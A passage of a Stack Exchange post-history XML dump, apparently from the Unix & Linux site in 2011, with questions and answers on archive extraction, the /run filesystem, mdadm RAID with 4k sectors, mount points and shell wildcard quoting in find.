  <row Id="34913" PostHistoryTypeId="2" PostId="13967" RevisionGUID="0012e3f0-798e-4cd0-930d-dfbd2ba9618d" CreationDate="2011-05-28T18:06:06.850" UserId="1925" Text="With 7zip, you have to run the command twice, once to decompress and again to extract. The tar file format is just a &quot;wad&quot; of everything stuck end to end. Then the whole tar file is compressed using various compression algorithms, in your example bzip. Basically the resulting file has two layers. When you &quot;extract&quot; the bzip layer you get a tar file, then when you extract the tar file you get a bunch of individual files.&#xD;&#xA;&#xD;&#xA;7zip doesn't handle multiple layers at once, although it is able to handle both layers:&#xD;&#xA;&#xD;&#xA;    7z x foo.tar.bz2&#xD;&#xA;    7z x foo.tar&#xD;&#xA;&#xD;&#xA;Actually the standard unix tools work the same way:&#xD;&#xA;&#xD;&#xA;    bunzip2 foo.tar.bz2&#xD;&#xA;    tar xf foo.tar&#xD;&#xA;&#xD;&#xA;However the the unix `tar` command has convenience features that call the secondary compression and decompression steps using another program before/after it handles the tar part. Basically the `-j` argument calls `bzip2`/`bunzip2`, you just don't see the second step. Likewise `-z` will call `gzip`/`gunzip`, etc." />
  <row Id="34914" PostHistoryTypeId="25" PostId="13964" RevisionGUID="9a1876ea-92be-4a68-9308-6e32311c486a" CreationDate="2011-05-28T18:13:15.200" Comment="http://twitter.com/#!/StackUnix/status/74538738339938304" />
  <row Id="34915" PostHistoryTypeId="2" PostId="13968" RevisionGUID="2b02b7cc-52e1-4807-ad19-f93818247e71" CreationDate="2011-05-28T18:13:40.543" UserId="7869" Text="Hello,&#xD;&#xA;&#xD;&#xA;How to show top five CPU consuming processed with ps ? &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="34916" PostHistoryTypeId="1" PostId="13968" RevisionGUID="2b02b7cc-52e1-4807-ad19-f93818247e71" CreationDate="2011-05-28T18:13:40.543" UserId="7869" Text="Show top five CPU consuming processes with `ps`" />
  <row Id="34917" PostHistoryTypeId="3" PostId="13968" RevisionGUID="2b02b7cc-52e1-4807-ad19-f93818247e71" CreationDate="2011-05-28T18:13:40.543" UserId="7869" Text="élinuxàépsà" />
  <row Id="34918" PostHistoryTypeId="5" PostId="13968" RevisionGUID="f67d84a6-43a6-4f9d-801c-b17aebad65e0" CreationDate="2011-05-28T18:19:35.247" UserId="688" Comment="deleted 17 characters in body" Text="How to show top five CPU consuming processes with ps? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="34919" PostHistoryTypeId="2" PostId="13969" RevisionGUID="58e446ce-b508-4dee-acaf-700d6c5cebbb" CreationDate="2011-05-28T18:20:56.950" UserId="7870" Text="Why using ps, when u can do it easily with top command? " />
  <row Id="34920" PostHistoryTypeId="2" PostId="13970" RevisionGUID="0789eb95-fd2f-40f7-9cce-a2461e4c8241" CreationDate="2011-05-28T18:25:22.423" UserId="1925" Text="I don't think `ps` is what you are looking for. Have you looked at the output from `top`?&#xD;&#xA;&#xD;&#xA;Try using top in batch mode to spit out a process list sorted by cpu usage and using head/tail to get the top 5 lines (the first 8 are headers):&#xD;&#xA;&#xD;&#xA;    top -b -n 1 | head -n 12  | tail -n 5" />
  <row Id="34921" PostHistoryTypeId="10" PostId="13944" RevisionGUID="6a9c12bc-f3a2-4205-88f4-3d66b4ee1268" CreationDate="2011-05-28T18:39:39.637" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:1925,&quot;DisplayName&quot;:&quot;Caleb&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="34922" PostHistoryTypeId="2" PostId="13971" RevisionGUID="4ee02af1-8246-4be0-a67b-c73b28f4c49e" CreationDate="2011-05-28T18:39:51.513" UserId="4057" Text="How about a shorter version of the 7z and tar combination using standard out and pipes?&#xD;&#xA;&#xD;&#xA;    # 7z x -so my-compressed-tarball.tar.bz2| tar xf -&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34923" PostHistoryTypeId="5" PostId="13928" RevisionGUID="e9d95284-26ae-45cd-b167-377f8c900945" CreationDate="2011-05-28T18:41:57.640" UserId="73" Comment="added 45 characters in body" Text="ZSH has a helpful glob operator to match everything except a given name, `^`. So this would work (but it's ZSH specific, and you need to `setopt extendedglob` first):&#xD;&#xA;&#xD;&#xA;    $ svn mv ^2010 2010&#xD;&#xA;" />
  <row Id="34924" PostHistoryTypeId="5" PostId="13964" RevisionGUID="d7089915-f76e-4fcd-8d6e-c145ce7b46de" CreationDate="2011-05-28T18:59:52.843" UserId="7868" Comment="added information" Text="I have a USB rocket launcher that I wish to experiment with through `libusb`. However, libusb cannot claim the interface; presumably because the output of `usb-devices` lists 'usbhid' as the driver for the device.&#xD;&#xA;&#xD;&#xA;From reading around on the internet, I've only come to the conclusion that I need to detach this driver from the device so I can use it with libusb. However, I have not found a single definitive way to do that, only several different ideas and bug reports.&#xD;&#xA;&#xD;&#xA;So, is there a way to detach the usbhid driver from a device that would be relevant with the kernel and tools supplied with Ubuntu 11.04?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I tried creating the file&#xD;&#xA;&#xD;&#xA;    /etc/udev/rules.d/10-usbhid.rules&#xD;&#xA;&#xD;&#xA;and writing the following:&#xD;&#xA;&#xD;&#xA;    ATTRS{idVendor}==&quot;0a81&quot;, ATTRS{idProduct}==&quot;0701&quot;, OPTIONS==&quot;ignore_device&quot;&#xD;&#xA;&#xD;&#xA;Saving, then rebooting. The file is still there, but it doesn't appear to be working at all.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34925" PostHistoryTypeId="2" PostId="13972" RevisionGUID="c5fd9612-9fca-49b1-812c-09df8a0b2a27" CreationDate="2011-05-28T20:25:02.117" UserId="29" Text="I just ran `df -h` a minute ago and noticed a filesystem has been added that I'm not familliar with. Does anyone know why `/run` exists? is this something that's &#xD;&#xA;been added by the kernel? by [Arch Linux](http://www.archlinux.org/)?&#xD;&#xA;&#xD;&#xA;    run              10M  236K  9.8M   3% /run&#xD;&#xA;" />
  <row Id="34926" PostHistoryTypeId="1" PostId="13972" RevisionGUID="c5fd9612-9fca-49b1-812c-09df8a0b2a27" CreationDate="2011-05-28T20:25:02.117" UserId="29" Text="what is this new filesystem /run ?" />
  <row Id="34927" PostHistoryTypeId="3" PostId="13972" RevisionGUID="c5fd9612-9fca-49b1-812c-09df8a0b2a27" CreationDate="2011-05-28T20:25:02.117" UserId="29" Text="élinuxàéfilesystemsàéarchölinuxà" />
  <row Id="34928" PostHistoryTypeId="2" PostId="13973" RevisionGUID="0c521f4f-14f4-4f84-b8d3-abbd015e8822" CreationDate="2011-05-28T20:38:20.633" UserId="6761" Text="Apparently, many tools (among them udev) will soon require a /run/ directory that is mounted early (as tmpfs). Arch developers introduced /run last month to prepare for this.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;The udev runtime data moved from /dev/.udev/ to /run/udev/. The&#xD;&#xA;/run mountpoint is supposed to be a tmpfs mounted during early boot,&#xD;&#xA;available and writable to for all tools at any time during bootup,&#xD;&#xA;it replaces /var/run/, which should become a symlink some day.&#xD;&#xA;[1]&lt;/blockquote&gt; &#xD;&#xA;&#xD;&#xA;There is more detail here: http://www.h-online.com/open/news/item/Linux-distributions-to-include-run-directory-1219006.html&#xD;&#xA;&#xD;&#xA;[1] From &lt;a href=&quot;http://mailman.archlinux.org/pipermail/arch-projects/2011-March/000517.html&quot;&gt;thread on the Arch Projects ML&lt;/a&gt;" />
  <row Id="34929" PostHistoryTypeId="25" PostId="13972" RevisionGUID="3f017dcf-4ff3-4380-a077-f565eb8a7687" CreationDate="2011-05-28T21:13:14.713" Comment="http://twitter.com/#!/StackUnix/status/74584036168830976" />
  <row Id="34930" PostHistoryTypeId="5" PostId="13956" RevisionGUID="981c9717-0b94-453b-b25c-72ac44076011" CreationDate="2011-05-28T21:44:12.533" UserId="1131" Comment="added 1315 characters in body" Text="I want to use two 3 TB drives in a mdadm raid1 setup (using Debian Sequeeze).&#xD;&#xA;&#xD;&#xA;The drives use 4k hardware sectors instead of the traditional 512 byte ones.&#xD;&#xA;&#xD;&#xA;I am a bit confused because on the one hand the kernel reports:&#xD;&#xA;&#xD;&#xA;    $ cat /sys/block/sdb/queue/hw_sector_size&#xD;&#xA;    512&#xD;&#xA;&#xD;&#xA;But on the other hand `fdisk` reports:&#xD;&#xA;&#xD;&#xA;    # fdisk -l /dev/sdb&#xD;&#xA;    Disk /dev/sdb: 3000.6 GB, 3000592982016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 364801 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 4096 bytes&#xD;&#xA;    I/O size (minimum/optimal): 4096 bytes / 4096 bytes&#xD;&#xA;&#xD;&#xA;Thus, it seems that the kernel has some idea that the drive uses 4k sectors.&#xD;&#xA;&#xD;&#xA;The `mdadm` man page is a bit cryptic about the chunk size and raid1:&#xD;&#xA;&#xD;&#xA;&gt;        -c, --chunk=&#xD;&#xA;              Specify chunk size of kibibytes.  The default when  creating  an&#xD;&#xA;              array  is 512KB.  To ensure compatibility with earlier versions,&#xD;&#xA;              the default when Building and array with no persistent  metadata&#xD;&#xA;              is  64KB.   This  is  only  meaningful  for RAID0, RAID4, RAID5,&#xD;&#xA;              RAID6, and RAID10.&#xD;&#xA;&#xD;&#xA;Why is it not meaningful for raid1?&#xD;&#xA;&#xD;&#xA;Looking at `/proc/mdstat`, the raid1 device md8 has 2930265424 blocks, i.e.&#xD;&#xA;&#xD;&#xA;    3000591794176/2930265424/2 = 512&#xD;&#xA;&#xD;&#xA;Does `mdadm` use then a blocksize of 512 bytes? (/2 because it a two-way mirror)&#xD;&#xA;&#xD;&#xA;And is chunk-size a different concept than blocksize?&#xD;&#xA;&#xD;&#xA;Trying to let `mdadm` *explain* a device:&#xD;&#xA;&#xD;&#xA;    # mdadm -E /dev/sdb -v -v&#xD;&#xA;    Avail Dev Size : 5860531120 (2794.52 GiB 3000.59 GB)&#xD;&#xA;    Array Size : 5860530848 (2794.52 GiB 3000.59 GB)&#xD;&#xA;&#xD;&#xA;Where&#xD;&#xA;&#xD;&#xA;    3000591794176/5860530848 = 512&#xD;&#xA;&#xD;&#xA;With a default `mkfs.xfs` on the md device, it reports:&#xD;&#xA;&#xD;&#xA;    sectsz=512&#xD;&#xA;    bsize=4096&#xD;&#xA;&#xD;&#xA;I corrected this with a call of `mkfs.xfs -s size=4096 /dev/md8`&#xD;&#xA;&#xD;&#xA;**Edit:** Testing a bit around I noticed following things:&#xD;&#xA;&#xD;&#xA;It seems that the initial resync is done with a block size of 128k (and not 512 bytes):&#xD;&#xA;&#xD;&#xA;    md: resync of RAID array md8&#xD;&#xA;    md: minimum _guaranteed_  speed: 1000 KB/sec/disk.&#xD;&#xA;    md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for resync.&#xD;&#xA;    md: using 128k window, over a total of 2930265424 blocks.&#xD;&#xA;&#xD;&#xA;The displayed speed via `/proc/mdstat` is consistent for that blocksize (for 512bytes one would expect a performance hit):&#xD;&#xA;&#xD;&#xA;    [&gt;....................]  resync =  3.0% (90510912/2930265424) finish=381.1min speed=124166K/sec&#xD;&#xA;&#xD;&#xA;(For example when disabling the write cache the displayed speed immediately drops to 18m/sec)&#xD;&#xA;&#xD;&#xA;Under `/sys` there are actually some more relevant files besides `hw_sector_size`:&#xD;&#xA;&#xD;&#xA;    # cat /sys/block/sdb/queue/physical_block_size&#xD;&#xA;    4096&#xD;&#xA;    # cat  /sys/block/sdb/queue/logical_block_size&#xD;&#xA;    512&#xD;&#xA;&#xD;&#xA;That means that the drive does not lie to the kernel about its 4k sector size and the kernel has some 4k sector support (as the output of `fstab -l` suggested).&#xD;&#xA;&#xD;&#xA;Googling a bit around resulted in a few reports about WD disks, which do not report the 4k size - fortunately this 3 TB WD disk does not do that - perhaps WD fixed their firmware with current disks.&#xD;&#xA;" />
  <row Id="34931" PostHistoryTypeId="2" PostId="13974" RevisionGUID="2510e938-08e9-4dd3-8d86-1c75624c8853" CreationDate="2011-05-28T23:31:40.557" UserId="5535" Text="I figured I'd share [my Minecraft server's control script][1] since it may be useful to the OP and others.&#xD;&#xA;&#xD;&#xA;Caveats: this script &quot;works on my machine&quot; and comes with no warranty, support, etc. &#xD;&#xA;&#xD;&#xA;This script goes in the /etc/init.d directory (at least on Ubuntu server 10.04) and is invoked like this (assuming you name the script 'minecraftd':&#xD;&#xA;&#xD;&#xA;    #Start the server&#xD;&#xA;    sudo /etc/init.d/minecraftd start&#xD;&#xA;    #Stop the server&#xD;&#xA;    sudo /etc/init.d/minecraftd stop&#xD;&#xA;    #Create a backup of the world&#xD;&#xA;    sudo /etc/init.d/minecraftd backup&#xD;&#xA;    #Restart the server&#xD;&#xA;    sudo /etc/init.d/minecraftd restart&#xD;&#xA;    #Use the console &quot;say&quot; command (Quotes are important)&#xD;&#xA;    sudo /etc/init.d/minecraftd mcsay &quot;Hello, world!&quot;&#xD;&#xA;    #Issue direct commands to the server console (i.e. &quot;ban bobby21&quot;)&#xD;&#xA;    sudo /etc/init.d/minecraftd mcdo &quot;ban bobby21&quot;&#xD;&#xA;    #Query the server status (running/not running)&#xD;&#xA;    sudo /etc/init.d/minecraftd status&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paste.boredomsoft.org/main.php/view/62107887&#xD;&#xA;" />
  <row Id="34932" PostHistoryTypeId="2" PostId="13975" RevisionGUID="ec33ce98-f7aa-458f-a307-cd0709f37b02" CreationDate="2011-05-28T23:48:03.883" UserId="674" Text="Please bear with my following questions.&#xD;&#xA;&#xD;&#xA; 1. What is the difference between /dev,&#xD;&#xA;    /media and /mnt? Following is what I&#xD;&#xA;    have found from internet but I still&#xD;&#xA;    have little idea:&#xD;&#xA;    &#xD;&#xA;    &gt; /dev  this folder contains device&#xD;&#xA;    &gt; files &#xD;&#xA;    &gt; &#xD;&#xA;    &gt; /media this is a mount point for&#xD;&#xA;    &gt; removable devices&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; /mnt  this is a temporary mount point&#xD;&#xA; 2. What is the purpose of mount? In&#xD;&#xA;    other words, if a device has been&#xD;&#xA;    represented by the OS as a device&#xD;&#xA;    file under /dev, why can it not be&#xD;&#xA;    accessed via the device file&#xD;&#xA;    directly without mounting?&#xD;&#xA; 3. Where is a device file under /dev&#xD;&#xA;    mounted to? Under /media or under&#xD;&#xA;    /mnt. I remember that I have seen&#xD;&#xA;    both, but am curious in what cases&#xD;&#xA;    to mount to which?&#xD;&#xA; 4. I found my CD was automatically&#xD;&#xA;    mounted to */media/Ubuntu 11.04 i386*.&#xD;&#xA;    I guess the device file of the CD is&#xD;&#xA;    /dev/cdrom, but I cannot confirm it&#xD;&#xA;    by looking into /dev/cdrom and&#xD;&#xA;    */media/Ubuntu 11.04 i386*:&#xD;&#xA;    &#xD;&#xA;        $ ls -l /media/Ubuntu\ 11.04\ i386/&#xD;&#xA;        total 3522&#xD;&#xA;        -r--r--r-- 1 Tim Tim     143 2011-04-27 13:04 autorun.inf&#xD;&#xA;        ...&#xD;&#xA;        $ ls -l /dev/cdrw&#xD;&#xA;        lrwxrwxrwx 1 root root 3 2011-05-28 15:12 /dev/cdrw -&gt; sr0&#xD;&#xA;        $ ls -l /dev/cdrom&#xD;&#xA;        lrwxrwxrwx 1 root root 3 2011-05-28 15:12 /dev/cdrom -&gt; sr0&#xD;&#xA;&#xD;&#xA;    How can I find out which device file is for my CD?&#xD;&#xA;Thanks and regards!" />
  <row Id="34933" PostHistoryTypeId="1" PostId="13975" RevisionGUID="ec33ce98-f7aa-458f-a307-cd0709f37b02" CreationDate="2011-05-28T23:48:03.883" UserId="674" Text="Questions about mount and device" />
  <row Id="34934" PostHistoryTypeId="3" PostId="13975" RevisionGUID="ec33ce98-f7aa-458f-a307-cd0709f37b02" CreationDate="2011-05-28T23:48:03.883" UserId="674" Text="émountàédevicesà" />
  <row Id="34935" PostHistoryTypeId="5" PostId="13975" RevisionGUID="77852eca-ec75-4a1b-89c8-fed5d021a0dd" CreationDate="2011-05-28T23:53:23.263" UserId="674" Comment="deleted 14 characters in body" Text="Please bear with my following questions.&#xD;&#xA;&#xD;&#xA; 1. What is the difference between /dev,&#xD;&#xA;    /media and /mnt? Following is what I&#xD;&#xA;    have found from internet but I still&#xD;&#xA;    have little idea:&#xD;&#xA;    &#xD;&#xA;    &gt; /dev  this folder contains device&#xD;&#xA;    &gt; files &#xD;&#xA;    &gt; &#xD;&#xA;    &gt; /media this is a mount point for&#xD;&#xA;    &gt; removable devices&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; /mnt  this is a temporary mount point&#xD;&#xA; 2. What is the purpose of mount? In&#xD;&#xA;    other words, if a device has been&#xD;&#xA;    represented by the OS as a device&#xD;&#xA;    file under /dev, why can it not be&#xD;&#xA;    accessed via the device file&#xD;&#xA;    directly without mounting?&#xD;&#xA; 3. Where is a device file under /dev&#xD;&#xA;    mounted to, under /media or under&#xD;&#xA;    /mnt. I remember I have seen&#xD;&#xA;    both, but am curious when&#xD;&#xA;    to mount to which?&#xD;&#xA; 4. I found my CD was automatically&#xD;&#xA;    mounted to */media/Ubuntu 11.04 i386*.&#xD;&#xA;    I guess the device file of the CD is&#xD;&#xA;    /dev/cdrom, but I cannot confirm it&#xD;&#xA;    by looking into /dev/cdrom and&#xD;&#xA;    */media/Ubuntu 11.04 i386*:&#xD;&#xA;    &#xD;&#xA;        $ ls -l /media/Ubuntu\ 11.04\ i386/&#xD;&#xA;        total 3522&#xD;&#xA;        -r--r--r-- 1 Tim Tim     143 2011-04-27 13:04 autorun.inf&#xD;&#xA;        ...&#xD;&#xA;        $ ls -l /dev/cdrw&#xD;&#xA;        lrwxrwxrwx 1 root root 3 2011-05-28 15:12 /dev/cdrw -&gt; sr0&#xD;&#xA;        $ ls -l /dev/cdrom&#xD;&#xA;        lrwxrwxrwx 1 root root 3 2011-05-28 15:12 /dev/cdrom -&gt; sr0&#xD;&#xA;&#xD;&#xA;    How can I find out which device file is for my CD?&#xD;&#xA;Thanks and regards!" />
  <row Id="34936" PostHistoryTypeId="5" PostId="13975" RevisionGUID="4a6d64dd-9eeb-44b9-8838-d4c8a52f29c3" CreationDate="2011-05-29T00:09:43.080" UserId="674" Comment="added 128 characters in body" Text="Please bear with my following questions.&#xD;&#xA;&#xD;&#xA; 1. What is the difference between /dev,&#xD;&#xA;    /media and /mnt? Following is what I&#xD;&#xA;    have found from internet but I still&#xD;&#xA;    have little idea:&#xD;&#xA;    &#xD;&#xA;    &gt; /dev  this folder contains device&#xD;&#xA;    &gt; files &#xD;&#xA;    &gt; &#xD;&#xA;    &gt; /media this is a mount point for&#xD;&#xA;    &gt; removable devices&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; /mnt  this is a temporary mount point&#xD;&#xA; 2. What is the purpose of mount? In&#xD;&#xA;    other words, if a device has been&#xD;&#xA;    represented by the OS as a device&#xD;&#xA;    file under /dev, why can it not be&#xD;&#xA;    accessed via the device file&#xD;&#xA;    directly without mounting? &#xD;&#xA;&#xD;&#xA;    Is mount only used for storage device, not for non-storage device, such as graphical card, network card, camera, ...?&#xD;&#xA;&#xD;&#xA; 3. Where is a device file under /dev&#xD;&#xA;    mounted to, under /media or under&#xD;&#xA;    /mnt. I remember I have seen&#xD;&#xA;    both, but am curious when&#xD;&#xA;    to mount to which?&#xD;&#xA; 4. I found my CD was automatically&#xD;&#xA;    mounted to */media/Ubuntu 11.04 i386*.&#xD;&#xA;    I guess the device file of the CD is&#xD;&#xA;    /dev/cdrom, but I cannot confirm it&#xD;&#xA;    by looking into /dev/cdrom and&#xD;&#xA;    */media/Ubuntu 11.04 i386*:&#xD;&#xA;    &#xD;&#xA;        $ ls -l /media/Ubuntu\ 11.04\ i386/&#xD;&#xA;        total 3522&#xD;&#xA;        -r--r--r-- 1 Tim Tim     143 2011-04-27 13:04 autorun.inf&#xD;&#xA;        ...&#xD;&#xA;        $ ls -l /dev/cdrw&#xD;&#xA;        lrwxrwxrwx 1 root root 3 2011-05-28 15:12 /dev/cdrw -&gt; sr0&#xD;&#xA;        $ ls -l /dev/cdrom&#xD;&#xA;        lrwxrwxrwx 1 root root 3 2011-05-28 15:12 /dev/cdrom -&gt; sr0&#xD;&#xA;&#xD;&#xA;    How can I find out which device file is for my CD?&#xD;&#xA;Thanks and regards!" />
  <row Id="34937" PostHistoryTypeId="25" PostId="13968" RevisionGUID="f5fa0ea7-d0d4-4d51-8e19-38f1c635a3f3" CreationDate="2011-05-29T00:13:15.593" Comment="http://twitter.com/#!/StackUnix/status/74629337546104833" />
  <row Id="34938" PostHistoryTypeId="2" PostId="13976" RevisionGUID="f368bfa8-35e7-426e-9a48-dc2c012601d0" CreationDate="2011-05-29T00:24:10.603" UserId="3857" Text="Can NTFS partitions be defragged within Linux? Does fsck work for this?&#xD;&#xA;(Here and there I've seen a recommendation to use `fsck -t ntfs --kerneldefrag /dev/XXX`. Would this work?)" />
  <row Id="34939" PostHistoryTypeId="1" PostId="13976" RevisionGUID="f368bfa8-35e7-426e-9a48-dc2c012601d0" CreationDate="2011-05-29T00:24:10.603" UserId="3857" Text="Is there a Linux tool for defragging NTFS partitions?" />
  <row Id="34940" PostHistoryTypeId="3" PostId="13976" RevisionGUID="f368bfa8-35e7-426e-9a48-dc2c012601d0" CreationDate="2011-05-29T00:24:10.603" UserId="3857" Text="éntfsàéfsckà" />
  <row Id="34941" PostHistoryTypeId="2" PostId="13977" RevisionGUID="fa8dbb68-e419-432c-9af0-ad09f05d9481" CreationDate="2011-05-29T00:55:38.163" UserId="7875" Text="Imagine a source tree. There are xml files everywhere.&#xD;&#xA;&#xD;&#xA;But since there is a XYZ.xml at the root of this tree it won't find my xml files.&#xD;&#xA;&#xD;&#xA;    find -iname *.xml&#xD;&#xA;&#xD;&#xA;returns&#xD;&#xA;&#xD;&#xA;    ./XYZ.xml&#xD;&#xA;&#xD;&#xA;instead of&#xD;&#xA;&#xD;&#xA;    ./XYZ.xml&#xD;&#xA;    ./a/b/c/bob.xml&#xD;&#xA;    ./b/d/top.xml&#xD;&#xA; &#xD;&#xA;" />
  <row Id="34942" PostHistoryTypeId="1" PostId="13977" RevisionGUID="fa8dbb68-e419-432c-9af0-ad09f05d9481" CreationDate="2011-05-29T00:55:38.163" UserId="7875" Text="find not recursive when file at top" />
  <row Id="34943" PostHistoryTypeId="3" PostId="13977" RevisionGUID="fa8dbb68-e419-432c-9af0-ad09f05d9481" CreationDate="2011-05-29T00:55:38.163" UserId="7875" Text="ébashàéfindàérecursiveà" />
  <row Id="34945" PostHistoryTypeId="2" PostId="13979" RevisionGUID="21eac92b-5763-4f13-b6f8-0a05b3ee2f34" CreationDate="2011-05-29T01:30:36.610" UserId="2421" Text="    find -iname '*.xml'&#xD;&#xA;&#xD;&#xA;Otherwise, your shell expands `*.xml` to XYZ.xml, and the command that actually gets executed is&#xD;&#xA;&#xD;&#xA;    find -iname XYZ.xml&#xD;&#xA;&#xD;&#xA;The reason it works if there are no XML files in the current directory is that shells generally leave wildcards unexpanded if they don't match anything." />
  <row Id="34946" PostHistoryTypeId="2" PostId="13980" RevisionGUID="79a84434-8083-4e7e-9411-140150b6fe27" CreationDate="2011-05-29T01:31:34.367" UserId="5770" Text="There are a lot of questions here and I'll do my best to answer them. I'm certain that those more knowledgeable than I will be able to help you further. (I'd appreciate if those people could help me out too.)&#xD;&#xA;&#xD;&#xA;In *nix, everything is a file. For example, you're CD-ROM is a file.&#xD;&#xA;&#xD;&#xA;- /dev - Here you'll find physical devices as well as things you wouldn't normally think of as devices such as [/dev/null](http://en.wikipedia.org/wiki//dev/null).&#xD;&#xA;- /media &amp; /mnt are directories where you may mount a physical device such as a CD-ROM, HDD partition, USB stick, etc.&#xD;&#xA;&#xD;&#xA;The purpose of `mount` (and the opposite `umount`) in to allow dynamic mounting of devices. What I mean here is that perhaps you may want to only mount a device under certain circumstances, and at other times have it not readily accessible. You may wish to mount an entire file system at /mnt when repairing a system. You may wish to mount a disc image (e.g. .iso) from time to time. Etc.&#xD;&#xA;&#xD;&#xA;You may choose to mount a device in /dev at either /media or /mnt. There are more and less correct ways of doing this. For example, from your question you say:&#xD;&#xA;&#xD;&#xA;&gt; /media this is a mount point for&#xD;&#xA;&gt; removable devices&#xD;&#xA;&gt; &#xD;&#xA;&gt; /mnt this is a temporary mount point&#xD;&#xA;&#xD;&#xA;That's pretty much correct. Read here for how [/media](http://www.pathname.com/fhs/pub/fhs-2.3.html#MEDIAMOUNTPOINT) and [/mnt](http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT) should be used according to the [Filesystem Hierarchy Standard](http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard). I do this pretty incorrectly, opting to use /media when in fact I should be using /mnt, most of the time.&#xD;&#xA;&#xD;&#xA;I'm on OS X here so I can't check right now (BSD does things slightly differently regarding optical drives) but /dev/cdrom is a device file for your CD-ROM. As is /dev/cdrw. See the '-&gt;' in the `ls -l` output? That's indicating that both /dev/cdrom and /dev/cdrw are [symbolically linked](http://en.wikipedia.org/wiki/Symlink) to /dev/sr0. '[sr0](http://tldp.org/HOWTO/SCSI-2.4-HOWTO/sr.html)' is the device driver name.&#xD;&#xA;&#xD;&#xA;/media/Ubuntu 11.04 i386 is simply an .iso image that has been auto-mounted at /media.&#xD;&#xA;&#xD;&#xA;I hope that helps a bit." />
  <row Id="34947" PostHistoryTypeId="5" PostId="13980" RevisionGUID="c7259969-7e7a-4a08-b3c6-2d70bcefee42" CreationDate="2011-05-29T01:56:34.983" UserId="5770" Comment="another typo" Text="There are a lot of questions here and I'll do my best to answer them. I'm certain that those more knowledgeable than I will be able to help you further. (I'd appreciate if those people could help me out too.)&#xD;&#xA;&#xD;&#xA;In *nix, everything is a file. For example, your CD-ROM is a file.&#xD;&#xA;&#xD;&#xA;- /dev - Here you'll find physical devices as well as things you wouldn't normally think of as devices such as [/dev/null](http://en.wikipedia.org/wiki//dev/null).&#xD;&#xA;- /media &amp; /mnt are directories where you may mount a physical device such as a CD-ROM, HDD partition, USB stick, etc.&#xD;&#xA;&#xD;&#xA;The purpose of `mount` (and the opposite `umount`) is to allow dynamic mounting of devices. What I mean here is that perhaps you may want to only mount a device under certain circumstances, and at other times have it not readily accessible. You may wish to mount an entire file system at /mnt when repairing a system. You may wish to mount a disc image (e.g. .iso) from time to time. Etc.&#xD;&#xA;&#xD;&#xA;You may choose to mount a device in /dev at either /media or /mnt. There are more or less correct ways of doing this. For example, from your question you say:&#xD;&#xA;&#xD;&#xA;&gt; /media this is a mount point for&#xD;&#xA;&gt; removable devices&#xD;&#xA;&gt; &#xD;&#xA;&gt; /mnt this is a temporary mount point&#xD;&#xA;&#xD;&#xA;That's pretty much correct. Read here for how [/media](http://www.pathname.com/fhs/pub/fhs-2.3.html#MEDIAMOUNTPOINT) and [/mnt](http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT) should be used according to the [Filesystem Hierarchy Standard](http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard). I do this pretty incorrectly, opting to use /media when in fact I should be using /mnt, most of the time. It's also worth noting that an internal HDD with associated partitions may be referred to, somewhat confusingly, as removeable media.&#xD;&#xA;&#xD;&#xA;I'm on OS X here so I can't check right now (BSD does things slightly differently regarding optical drives) but /dev/cdrom is a device file for your CD-ROM. As is /dev/cdrw. See the '-&gt;' in the `ls -l` output in your question? That's indicating that both /dev/cdrom and /dev/cdrw are [symbolically linked](http://en.wikipedia.org/wiki/Symlink) to /dev/sr0. '[sr](http://tldp.org/HOWTO/SCSI-2.4-HOWTO/sr.html)' is the device driver name; 'sr0' is the device file name.&#xD;&#xA;&#xD;&#xA;/media/Ubuntu 11.04 i386 is simply an .iso image that has been auto-mounted at /media.&#xD;&#xA;&#xD;&#xA;I hope that helps a bit." />
  <row Id="34948" PostHistoryTypeId="25" PostId="13975" RevisionGUID="3801432d-2992-4695-b637-516e1874f4dc" CreationDate="2011-05-29T03:13:15.660" Comment="http://twitter.com/#!/StackUnix/status/74674635106566144" />
  <row Id="34949" PostHistoryTypeId="5" PostId="13980" RevisionGUID="582898b6-1abd-4cfd-9812-046650fa1569" CreationDate="2011-05-29T03:30:47.210" UserId="5770" Comment="some grammatical stuff - having a bad day - it's sunday, please forgive me" Text="There are a lot of questions here and I'll do my best to answer them. I'm certain that those more knowledgeable than I will be able to help you further. (I'd appreciate if those people could help me out too.)&#xD;&#xA;&#xD;&#xA;In *nix, everything is a file. For example, your CD-ROM is a file.&#xD;&#xA;&#xD;&#xA;- /dev - Here you'll find physical devices as well as things you wouldn't normally think of as devices such as [/dev/null](http://en.wikipedia.org/wiki//dev/null).&#xD;&#xA;- /media &amp; /mnt are directories where you may mount a physical device such as a CD-ROM, HDD partition, USB stick, etc.&#xD;&#xA;&#xD;&#xA;The purpose of `mount` (and the opposite `umount`) is to allow dynamic mounting of devices. What I mean here is that perhaps you may want to only mount a device under certain circumstances, and at other times have it not readily accessible. You may wish to mount an entire file system at /mnt when repairing a system. You may wish to mount a disc image (e.g. foo.iso) from time to time. Etc.&#xD;&#xA;&#xD;&#xA;You may choose to mount a device in /dev at either /media or /mnt. There are more or less correct ways of doing this. For example, from your question you say:&#xD;&#xA;&#xD;&#xA;&gt; /media this is a mount point for&#xD;&#xA;&gt; removable devices&#xD;&#xA;&gt; &#xD;&#xA;&gt; /mnt this is a temporary mount point&#xD;&#xA;&#xD;&#xA;That's pretty much correct. Read here for how 